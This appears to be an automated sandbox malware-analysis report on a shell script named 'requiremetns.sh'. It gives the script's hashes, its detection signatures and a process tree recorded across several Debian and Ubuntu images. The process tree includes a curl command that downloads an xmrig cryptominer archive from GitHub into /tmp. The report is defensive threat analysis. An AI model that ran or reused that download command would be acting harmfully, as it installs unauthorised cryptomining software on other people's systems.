Overview
overview
10Static
static
1requiremetns.sh
debian-12-armhf
10requiremetns.sh
debian-12-mipsel
10requiremetns.sh
debian-9-armhf
6requiremetns.sh
debian-9-mips
10requiremetns.sh
debian-9-mipsel
10requiremetns.sh
ubuntu-18.04-amd64
6requiremetns.sh
ubuntu-20.04-amd64
10requiremetns.sh
ubuntu-22.04-amd64
10requiremetns.sh
ubuntu-24.04-amd64
10Analysis
-
max time kernel
149s -
max time network
8s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
01/07/2024, 08:22
Static task
static1
Behavioral task
behavioral1
Sample
requiremetns.sh
Resource
debian12-armhf-20240221-en
Behavioral task
behavioral2
Sample
requiremetns.sh
Resource
debian12-mipsel-20240418-en
Behavioral task
behavioral3
Sample
requiremetns.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral4
Sample
requiremetns.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral5
Sample
requiremetns.sh
Resource
debian9-mipsel-20240418-en
Behavioral task
behavioral6
Sample
requiremetns.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral7
Sample
requiremetns.sh
Resource
ubuntu2004-amd64-20240611-en
Behavioral task
behavioral8
Sample
requiremetns.sh
Resource
ubuntu2204-amd64-20240611-en
Behavioral task
behavioral9
Sample
requiremetns.sh
Resource
ubuntu2404-amd64-20240523-en
General
-
Target
requiremetns.sh
-
Size
8KB
-
MD5
97423634cc1762b2f010cb860e7fb47d
-
SHA1
2f50775e8fe9ab98a80f06d835c5874091bf0b3e
-
SHA256
d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd
-
SHA512
bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f
-
SSDEEP
192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd
Malware Config
Signatures
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs
flow ioc 1 raw.githubusercontent.com -
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl -
Reads runtime system information 2 IoCs
Reads data from /proc virtual filesystem.
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl
Processes
-
/tmp/requiremetns.sh/tmp/requiremetns.sh1⤵PID:673
-
/usr/bin/cutcut -f1 -d.2⤵PID:681
-
-
/usr/bin/nprocnproc2⤵PID:684
-
-
/usr/bin/curlcurl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz2⤵
- Checks CPU configuration
- Reads runtime system information
PID:688
-